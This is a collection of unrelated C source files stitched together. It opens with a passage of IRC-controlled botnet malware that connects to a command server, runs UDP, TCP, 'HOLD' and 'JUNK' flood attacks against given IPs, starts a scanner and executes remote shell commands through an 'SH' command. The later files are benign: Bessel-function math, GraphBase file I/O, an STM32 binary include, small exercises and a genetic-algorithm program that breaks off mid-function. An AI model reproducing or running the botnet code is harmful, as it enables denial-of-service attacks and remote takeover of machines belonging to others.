socklen_t lon;
int valopt, res;
unsigned char *watwat = malloc(1024);
memset(watwat, 0, 1024);
int end = time(NULL) + end_time;
while(end > time(NULL))
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
else fds[i].state = 1;
}
break;
case 1:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
close(fds[i].fd);
fds[i].state = 0;
} else {
fds[i].state = 2;
}
} else if(res == -1)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
case 2:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
if(res != 0)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
}
}
}
}
// __ _ __ _ _
// / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
// \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
// _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
// \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
/*
void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
{
unsigned char buffer[1024];
memset(buffer, 0, 1024);
int fd = socket(AF_INET, SOCK_STREAM, 0);
if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "MAIL FROM: <[email protected]>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
if(send(fd, "\r\nFrom: [email protected]\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
close(fd);
return;
}
*/
// _____ __ ___ _
// \_ \/__\ / __\ /\/\ __ _(_)_ __
// / /\/ \// / / / \ / _` | | '_ \
// /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
// \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
void processCmd(int argc, unsigned char *argv[])
{
if(!strcmp(argv[0], "PING"))
{
sockprintf(mainCommSock, "PONG!");
return;
}
if(!strcmp(argv[0], "GETLOCALIP"))
{
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
return;
}
if(!strcmp(argv[0], "SCANNER"))
{
if(argc != 2)
{
sockprintf(mainCommSock, "SCANNER ON | OFF");
return;
}
if(!strcmp(argv[1], "OFF"))
{
if(scanPid == 0) return;
kill(scanPid, 9);
scanPid = 0;
}
if(!strcmp(argv[1], "ON"))
{
if(scanPid != 0) return;
uint32_t parent;
parent = fork();
if (parent > 0) { scanPid = parent; return;}
else if(parent == -1) return;
StartTheLelz();
_exit(0);
}
}
/*
if(!strcmp(argv[0], "EMAIL"))
{
if(argc < 5)
{
//sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
return;
}
unsigned char *target = argv[1];
unsigned char *host = argv[2];
unsigned char *subject = argv[3];
unsigned char *message = argv[4];
if (listFork()) { return; }
sendEmail(target, host, subject, message);
close(mainCommSock);
_exit(0);
}
*/
if(!strcmp(argv[0], "HOLD"))
{
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
//sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
if(strstr(ip, ",") != NULL)
{
sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendHOLD(hi, port, time);
close(mainCommSock);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
sendHOLD(ip, port, time);
close(mainCommSock);
_exit(0);
}
}
if(!strcmp(argv[0], "JUNK"))
{
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
//sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
if(strstr(ip, ",") != NULL)
{
sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendJUNK(hi, port, time);
close(mainCommSock);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
sendJUNK(ip, port, time);
close(mainCommSock);
_exit(0);
}
}
if(!strcmp(argv[0], "UDP"))
{
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
{
//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = atoi(argv[4]);
int packetsize = atoi(argv[5]);
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
if(strstr(ip, ",") != NULL)
{
sockprintf(mainCommSock, "UDP Flooding %s for %d seconds.", ip, time);
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
close(mainCommSock);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sockprintf(mainCommSock, "UDP Flooding %s:%d for %d seconds.", ip, port, time);
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
close(mainCommSock);
_exit(0);
}
}
if(!strcmp(argv[0], "TCP"))
{
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
{
//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = atoi(argv[4]);
unsigned char *flags = argv[5];
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
int psize = argc > 6 ? atoi(argv[6]) : 0;
if(strstr(ip, ",") != NULL)
{
sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
close(mainCommSock);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
close(mainCommSock);
_exit(0);
}
}
if(!strcmp(argv[0], "KILLATTK"))
{
int killed = 0;
unsigned long i;
for (i = 0; i < numpids; i++) {
if (pids[i] != 0 && pids[i] != getpid()) {
kill(pids[i], 9);
killed++;
}
}
if(killed > 0)
{
sockprintf(mainCommSock, "Killed %d.", killed);
} else {
sockprintf(mainCommSock, "None Killed.");
}
}
if(!strcmp(argv[0], "LOLNOGTFO"))
{
exit(0);
}
}
int initConnection()
{
unsigned char server[512];
memset(server, 0, 512);
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
else currentServer++;
strcpy(server, commServer[currentServer]);
int port = 6667;
if(strchr(server, ':') != NULL)
{
port = atoi(strchr(server, ':') + 1);
*((unsigned char *)(strchr(server, ':'))) = 0x0;
}
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
return 0;
}
int getOurIP()
{
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if(sock == -1) return 0;
struct sockaddr_in serv;
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
serv.sin_port = htons(53);
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
if(err == -1) return 0;
struct sockaddr_in name;
socklen_t namelen = sizeof(name);
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
if(err == -1) return 0;
ourIP.s_addr = name.sin_addr.s_addr;
int cmdline = open("/proc/net/route", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
if(strstr(linebuf, "\t00000000\t") != NULL)
{
unsigned char *pos = linebuf;
while(*pos != '\t') pos++;
*pos = 0;
break;
}
memset(linebuf, 0, 4096);
}
close(cmdline);
if(*linebuf)
{
int i;
struct ifreq ifr;
strcpy(ifr.ifr_name, linebuf);
ioctl(sock, SIOCGIFHWADDR, &ifr);
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
}
close(sock);
}
char *getBuild()
{
#ifdef MIPS_BUILD
return "MIPS";
#elif MIPSEL_BUILD
return "MIPSEL";
#elif X86_BUILD
return "X86";
#elif ARM_BUILD
return "ARM";
#elif PPC_BUILD
return "POWERPC";
#else
return "GAYFGT";
#endif
}
int main(int argc, unsigned char *argv[])
{
if(SERVER_LIST_SIZE <= 0) return 0; //LOL PERSON WHO CONFIGURED DIS BOT IS RETARDED
srand(time(NULL) ^ getpid());
init_rand(time(NULL) ^ getpid());
pid_t pid1;
pid_t pid2;
int status;
getOurIP();
zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
if (pid1 = fork()) {
waitpid(pid1, &status, 0);
exit(0);
} else if (!pid1) {
if (pid2 = fork()) {
exit(0);
} else if (!pid2) {
} else {
zprintf("fork failed\n");
}
} else {
zprintf("fork failed\n");
}
setsid();
chdir("/");
signal(SIGPIPE, SIG_IGN);
while(1)
{
if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
sockprintf(mainCommSock, "BUILD %s", getBuild());
char commBuf[4096];
int got = 0;
int i = 0;
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
{
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
unsigned int *newpids, on;
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
pids[on - 1] = 0;
numpids--;
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
free(pids);
pids = newpids;
}
commBuf[got] = 0x00;
trim(commBuf);
if(strstr(commBuf, "PING") == commBuf)
{
sockprintf(mainCommSock, "PONG");
continue;
}
if(strstr(commBuf, "DUP") == commBuf) exit(0);
unsigned char *message = commBuf;
if(*message == '!')
{
unsigned char *nickMask = message + 1;
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
if(*nickMask == 0x00) continue;
*(nickMask) = 0x00;
nickMask = message + 1;
message = message + strlen(nickMask) + 2;
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
unsigned char *command = message;
while(*message != ' ' && *message != 0x00) message++;
*message = 0x00;
message++;
unsigned char *tmpcommand = command;
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
if(strcmp(command, "SH") == 0)
{
unsigned char buf[1024];
int command;
if (listFork()) continue;
memset(buf, 0, 1024);
szprintf(buf, "%s 2>&1", message);
command = fdpopen(buf, "r");
while(fdgets(buf, 1024, command) != NULL)
{
trim(buf);
sockprintf(mainCommSock, "%s", buf);
memset(buf, 0, 1024);
sleep(1);
}
fdpclose(command);
exit(0);
}
unsigned char *params[10];
int paramsCount = 1;
unsigned char *pch = strtok(message, " ");
params[0] = command;
while(pch)
{
if(*pch != '\n')
{
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
memset(params[paramsCount], 0, strlen(pch) + 1);
strcpy(params[paramsCount], pch);
paramsCount++;
}
pch = strtok(NULL, " ");
}
processCmd(paramsCount, params);
if(paramsCount > 1)
{
int q = 1;
for(q = 1; q < paramsCount; q++)
{
free(params[q]);
}
}
}
}
printf("Link closed by server.\n");
}
return 0; //dis is da propa codez
}
|
the_stack_data/147696.c | /*
* This file is part of the UCB release of Plan 9. It is subject to the license
* terms in the LICENSE file found in the top-level directory of this
* distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No
* part of the UCB release of Plan 9, including this file, may be copied,
* modified, propagated, or distributed except according to the terms contained
* in the LICENSE file.
*/
#include <math.h>
#include <errno.h>
/*
floating point Bessel's function
of the first and second kinds
of order one
j1(x) returns the value of J1(x)
for all real values of x.
There are no error returns.
Calls sin, cos, sqrt.
There is a niggling bug in J1 which
causes errors up to 2e-16 for x in the
interval [-8,8].
The bug is caused by an inappropriate order
of summation of the series. rhm will fix it
someday.
Coefficients are from Hart & Cheney.
#6050 (20.98D)
#6750 (19.19D)
#7150 (19.35D)
y1(x) returns the value of Y1(x)
for positive real values of x.
For x<=0, error number EDOM is set and a
large negative value is returned.
Calls sin, cos, sqrt, log, j1.
The values of Y1 have not been checked
to more than ten places.
Coefficients are from Hart & Cheney.
#6447 (22.18D)
#6750 (19.19D)
#7150 (19.35D)
*/
static double pzero, qzero;
static double tpi = .6366197723675813430755350535e0;
static double pio4 = .7853981633974483096156608458e0;
static double p1[] = {
0.581199354001606143928050809e21,
-.6672106568924916298020941484e20,
0.2316433580634002297931815435e19,
-.3588817569910106050743641413e17,
0.2908795263834775409737601689e15,
-.1322983480332126453125473247e13,
0.3413234182301700539091292655e10,
-.4695753530642995859767162166e7,
0.2701122710892323414856790990e4,
};
static double q1[] = {
0.1162398708003212287858529400e22,
0.1185770712190320999837113348e20,
0.6092061398917521746105196863e17,
0.2081661221307607351240184229e15,
0.5243710262167649715406728642e12,
0.1013863514358673989967045588e10,
0.1501793594998585505921097578e7,
0.1606931573481487801970916749e4,
1.0,
};
static double p2[] = {
-.4435757816794127857114720794e7,
-.9942246505077641195658377899e7,
-.6603373248364939109255245434e7,
-.1523529351181137383255105722e7,
-.1098240554345934672737413139e6,
-.1611616644324610116477412898e4,
0.0,
};
static double q2[] = {
-.4435757816794127856828016962e7,
-.9934124389934585658967556309e7,
-.6585339479723087072826915069e7,
-.1511809506634160881644546358e7,
-.1072638599110382011903063867e6,
-.1455009440190496182453565068e4,
1.0,
};
static double p3[] = {
0.3322091340985722351859704442e5,
0.8514516067533570196555001171e5,
0.6617883658127083517939992166e5,
0.1849426287322386679652009819e5,
0.1706375429020768002061283546e4,
0.3526513384663603218592175580e2,
0.0,
};
static double q3[] = {
0.7087128194102874357377502472e6,
0.1819458042243997298924553839e7,
0.1419460669603720892855755253e7,
0.4002944358226697511708610813e6,
0.3789022974577220264142952256e5,
0.8638367769604990967475517183e3,
1.0,
};
static double p4[] = {
-.9963753424306922225996744354e23,
0.2655473831434854326894248968e23,
-.1212297555414509577913561535e22,
0.2193107339917797592111427556e20,
-.1965887462722140658820322248e18,
0.9569930239921683481121552788e15,
-.2580681702194450950541426399e13,
0.3639488548124002058278999428e10,
-.2108847540133123652824139923e7,
0.0,
};
static double q4[] = {
0.5082067366941243245314424152e24,
0.5435310377188854170800653097e22,
0.2954987935897148674290758119e20,
0.1082258259408819552553850180e18,
0.2976632125647276729292742282e15,
0.6465340881265275571961681500e12,
0.1128686837169442121732366891e10,
0.1563282754899580604737366452e7,
0.1612361029677000859332072312e4,
1.0,
};
static void
asympt(double arg)
{
double zsq, n, d;
int i;
zsq = 64/(arg*arg);
for(n=0,d=0,i=6;i>=0;i--) {
n = n*zsq + p2[i];
d = d*zsq + q2[i];
}
pzero = n/d;
for(n=0,d=0,i=6;i>=0;i--) {
n = n*zsq + p3[i];
d = d*zsq + q3[i];
}
qzero = (8/arg)*(n/d);
}
double
j1(double arg)
{
double xsq, n, d, x;
int i;
x = arg;
if(x < 0)
x = -x;
if(x > 8) {
asympt(x);
n = x - 3*pio4;
n = sqrt(tpi/x)*(pzero*cos(n) - qzero*sin(n));
if(arg < 0)
n = -n;
return n;
}
xsq = x*x;
for(n=0,d=0,i=8;i>=0;i--) {
n = n*xsq + p1[i];
d = d*xsq + q1[i];
}
return arg*n/d;
}
double
y1(double arg)
{
double xsq, n, d, x;
int i;
errno = 0;
x = arg;
if(x <= 0) {
errno = EDOM;
return -HUGE_VAL;
}
if(x > 8) {
asympt(x);
n = x - 3*pio4;
return sqrt(tpi/x)*(pzero*sin(n) + qzero*cos(n));
}
xsq = x*x;
for(n=0,d=0,i=9;i>=0;i--) {
n = n*xsq + p4[i];
d = d*xsq + q4[i];
}
return x*n/d + tpi*(j1(x)*log(x)-1/x);
}
|
the_stack_data/31387817.c | /*4:*/
#line 69 "./gb_io.w"
/*7:*/
#line 93 "./gb_io.w"
#include <stdio.h>
#ifdef SYSV
#include <string.h>
#else
#include <strings.h>
#endif
/*:7*/
#line 70 "./gb_io.w"
#define cant_open_file 0x1
#define cant_close_file 0x2
#define bad_first_line 0x4
#define bad_second_line 0x8
#define bad_third_line 0x10
#define bad_fourth_line 0x20
#define file_ended_prematurely 0x40
#define missing_newline 0x80
#define wrong_number_of_lines 0x100
#define wrong_checksum 0x200
#define no_file_open 0x400
#define bad_last_line 0x800 \
#define unexpected_char 127 \
#define STR_BUF_LENGTH 160 \
#define gb_raw_open gb_r_open \
#define gb_raw_close gb_r_close \
#line 71 "./gb_io.w"
/*5:*/
#line 82 "./gb_io.w"
long io_errors;
/*:5*/
#line 72 "./gb_io.w"
/*8:*/
#line 107 "./gb_io.w"
static char buffer[81];
static char*cur_pos= buffer;
static FILE*cur_file;
/*:8*//*10:*/
#line 154 "./gb_io.w"
static char icode[256];
static long checksum_prime= (1L<<30)-83;
static long magic;
static long line_no;
static long final_magic;
static long tot_lines;
static char more_data;
/*:10*//*11:*/
#line 184 "./gb_io.w"
static char*imap= "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\
abcdefghijklmnopqrstuvwxyz_^~&@,;.:?!%#$+-*/|\\<=>()[]{}`'\" \n";
/*:11*//*33:*/
#line 480 "./gb_io.w"
static char file_name[20];
/*:33*/
#line 73 "./gb_io.w"
/*9:*/
#line 122 "./gb_io.w"
static void fill_buf()
{register char*p;
if(!fgets(buffer,sizeof(buffer),cur_file)){
io_errors|= file_ended_prematurely;buffer[0]= more_data= 0;
}
for(p= buffer;*p;p++);
if(p--==buffer||*p!='\n'){
io_errors|= missing_newline;p++;
}
while(--p>=buffer&&*p==' ');
*++p= '\n';*++p= 0;
cur_pos= buffer;
}
/*:9*//*15:*/
#line 212 "./gb_io.w"
static void icode_setup()
{register long k;
register char*p;
for(k= 0;k<256;k++)icode[k]= unexpected_char;
for(p= imap,k= 0;*p;p++,k++)icode[*p]= k;
}
/*:15*/
#line 74 "./gb_io.w"
/*12:*/
#line 190 "./gb_io.w"
char imap_chr(d)
long d;
{
return d<0||d> strlen(imap)?'\0':imap[d];
}
long imap_ord(c)
char c;
{
/*14:*/
#line 209 "./gb_io.w"
if(!icode['1'])icode_setup();
/*:14*/
#line 200 "./gb_io.w"
;
return(c<0||c> 255)?unexpected_char:icode[c];
}
/*:12*//*17:*/
#line 231 "./gb_io.w"
long new_checksum(s,old_checksum)
char*s;
long old_checksum;
{register long a= old_checksum;
register char*p;
for(p= s;*p;p++)
a= (a+a+imap_ord(*p))%checksum_prime;
return a;
}
/*:17*//*18:*/
#line 244 "./gb_io.w"
void gb_newline()
{
if(++line_no> tot_lines)more_data= 0;
if(more_data){
fill_buf();
if(buffer[0]!='*')
magic= new_checksum(buffer,magic);
}
}
/*:18*//*20:*/
#line 261 "./gb_io.w"
long gb_eof(){return!more_data;}
/*:20*//*22:*/
#line 279 "./gb_io.w"
char gb_char()
{
if(*cur_pos)return(*cur_pos++);
return'\n';
}
void gb_backup()
{
if(cur_pos> buffer)
cur_pos--;
}
/*:22*//*24:*/
#line 314 "./gb_io.w"
long gb_digit(d)
char d;
{
icode[0]= d;
if(imap_ord(*cur_pos)<d)return icode[*cur_pos++];
return-1;
}
unsigned long gb_number(d)
char d;
{register unsigned long a= 0;
icode[0]= d;
while(imap_ord(*cur_pos)<d)
a= a*d+icode[*cur_pos++];
return a;
}
/*:24*//*26:*/
#line 359 "./gb_io.w"
char str_buf[STR_BUF_LENGTH];
char*gb_string(p,c)
char*p;
char c;
{
while(*cur_pos&&*cur_pos!=c)
*p++= *cur_pos++;
*p++= 0;
return p;
}
/*:26*//*30:*/
#line 431 "./gb_io.w"
void gb_raw_open(f)
char*f;
{
/*14:*/
#line 209 "./gb_io.w"
if(!icode['1'])icode_setup();
/*:14*/
#line 435 "./gb_io.w"
;
/*31:*/
#line 453 "./gb_io.w"
cur_file= fopen(f,"r");
#ifdef DATA_DIRECTORY
if(!cur_file&&(strlen(DATA_DIRECTORY)+strlen(f)<STR_BUF_LENGTH)){
sprintf(str_buf,"%s%s",DATA_DIRECTORY,f);
cur_file= fopen(str_buf,"r");
}
#endif
/*:31*/
#line 436 "./gb_io.w"
;
if(cur_file){
io_errors= 0;
more_data= 1;
line_no= magic= 0;
tot_lines= 0x7fffffff;
fill_buf();
}else io_errors= cant_open_file;
}
/*:30*//*32:*/
#line 463 "./gb_io.w"
long gb_open(f)
char*f;
{
strncpy(file_name,f,sizeof(file_name)-1);
gb_raw_open(f);
if(cur_file){
/*34:*/
#line 500 "./gb_io.w"
sprintf(str_buf,"* File \"%s\"",f);
if(strncmp(buffer,str_buf,strlen(str_buf)))
return(io_errors|= bad_first_line);
/*:34*/
#line 471 "./gb_io.w"
;
/*35:*/
#line 505 "./gb_io.w"
fill_buf();
if(*buffer!='*')return(io_errors|= bad_second_line);
/*:35*/
#line 472 "./gb_io.w"
;
/*36:*/
#line 509 "./gb_io.w"
fill_buf();
if(*buffer!='*')return(io_errors|= bad_third_line);
/*:36*/
#line 473 "./gb_io.w"
;
/*37:*/
#line 513 "./gb_io.w"
fill_buf();
if(strncmp(buffer,"* (Checksum parameters ",23))
return(io_errors|= bad_fourth_line);
cur_pos+= 23;
tot_lines= gb_number(10);
if(gb_char()!=',')
return(io_errors|= bad_fourth_line);
final_magic= gb_number(10);
if(gb_char()!=')')
return(io_errors|= bad_fourth_line);
/*:37*/
#line 474 "./gb_io.w"
;
gb_newline();
}
return io_errors;
}
/*:32*//*39:*/
#line 535 "./gb_io.w"
long gb_close()
{
if(!cur_file)
return(io_errors|= no_file_open);
fill_buf();
sprintf(str_buf,"* End of file \"%s\"",file_name);
if(strncmp(buffer,str_buf,strlen(str_buf)))
io_errors|= bad_last_line;
more_data= buffer[0]= 0;
if(fclose(cur_file)!=0)
return(io_errors|= cant_close_file);
cur_file= NULL;
if(line_no!=tot_lines+1)
return(io_errors|= wrong_number_of_lines);
if(magic!=final_magic)
return(io_errors|= wrong_checksum);
return io_errors;
}
/*:39*//*42:*/
#line 572 "./gb_io.w"
long gb_raw_close()
{
if(cur_file){
fclose(cur_file);
more_data= buffer[0]= 0;
cur_pos= buffer;
cur_file= NULL;
}
return magic;
}
/*:42*/
#line 75 "./gb_io.w"
/*:4*/
|
the_stack_data/1194056.c | /**
******************************************************************************
* @file sfu_secorebin_Inc.c
* @author MCD Application Team
* @brief Include SECoreBin binary.
******************************************************************************
* @attention
*
* <h2><center>© Copyright(c) 2017 STMicroelectronics International N.V.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under Ultimate Liberty license
* SLA0044, the "License"; You may not use this file except in compliance with
* the License. You may obtain a copy of the License at:
* www.st.com/SLA0044
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "string.h"
#if defined (__GNUC__)
asm(".section SE_CORE_Bin,\"a\";"
".incbin \"../../../1_Image_SECoreBin/STM32CubeIDE/STM32H7B3I_DISCO_1_Image_SECoreBin/Debug/SECoreBin.bin\";"
);
#endif
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/25436.c | char * defangIPaddr(char * address){
char* defang;
defang=malloc(strlen(address)+1+6);
int i=0;
int j=0;
for(i=0; i<strlen(address); i++){
if(address[i] == '.'){
defang[j++]='[';
defang[j++]='.';
defang[j++]=']';
}else{
defang[j++]=address[i];
}
}
defang[j]='\0';
return defang;
}
|
the_stack_data/182954182.c | /*numPass=6, numTotal=6
Verdict:ACCEPTED, Visibility:1, Input:"18", ExpOutput:"3
", Output:"3"
Verdict:ACCEPTED, Visibility:1, Input:"4", ExpOutput:"0
", Output:"0"
Verdict:ACCEPTED, Visibility:1, Input:"24", ExpOutput:"4
", Output:"4"
Verdict:ACCEPTED, Visibility:0, Input:"40", ExpOutput:"5
", Output:"5"
Verdict:ACCEPTED, Visibility:0, Input:"100", ExpOutput:"8
", Output:"8"
Verdict:ACCEPTED, Visibility:0, Input:"70", ExpOutput:"7
", Output:"7"
*/
#include<stdio.h>
int check_prime(int num)
{
int k=0;
for(int l=1;l<=num;l++)
{
if ((num%l)==0)
k++;
}
if(k==2)
{
return 1;
}
else
{
return 0;
}
}
int main()
{
int n,x,y,i;
int j=0;
scanf("%d",&n);
for(i=2;i<=n;i++)
{
x=check_prime(i);
y=check_prime(i+2);
if((x==1)&&(y==1)&&((i+2)<=n))
{
j++;
}
}
printf("%d",j);
return 0;
} |
the_stack_data/1174510.c | /* Compiler generates 64-bit stores of zero for this on some targets.
Check there is no problem for such case. */
/* { dg-do compile } */
/* { dg-options "-O2 -ftree-vectorize" } */
void
foo (float *dest, int xcount, int ycount)
{
int x, y;
for (y = 0; y < ycount; y++)
for (x = 0; x < xcount; x++)
dest[x + y] = (float) 0;
}
|
the_stack_data/178264613.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define NUMERO_ORGANISMOS 100
#define TAXA_MUTACAO 0.05
#define MAX_GERACOES 100
#define MAXIMO_FITNESS numGenes
#define FALSE 0
#define TRUE 1
int **geracaoAtual, **proximaGeracao;
int **organismoFitnesses;
int **organismoFitnessesProx;
int **itens;
int totalFitnesses;
int numGenes;
int tamMochila;
void alocarMemoria(void);
int fazerExecucao(void);
void iniciarOrganismos(void);
int avaliarOrganismos(void);
void produzirProximaGeracao(void);
void selecionarOrganismo(void);
void imprimirAtual(int tam) {
int organismo, gene;
for(organismo = 0; organismo < tam; organismo++) {
for(gene = 0; gene < numGenes; gene++)
printf("%d", geracaoAtual[organismo][gene]);
printf(" P = %d V = %d\n", geracaoAtual[organismo][numGenes], geracaoAtual[organismo][numGenes + 1]);
}
}
void imprimirProx(int tam) {
int organismo, gene;
for(organismo = 0; organismo < tam; organismo++) {
for(gene = 0; gene < numGenes; gene++)
printf("%d", proximaGeracao[organismo][gene]);
printf(" P = %d V = %d\n", proximaGeracao[organismo][numGenes], proximaGeracao[organismo][numGenes + 1]);
}
}
int main(){
srand(time(0));
alocarMemoria();
fazerExecucao();
return 0;
}
int compara(const void *p1, const void *p2) {
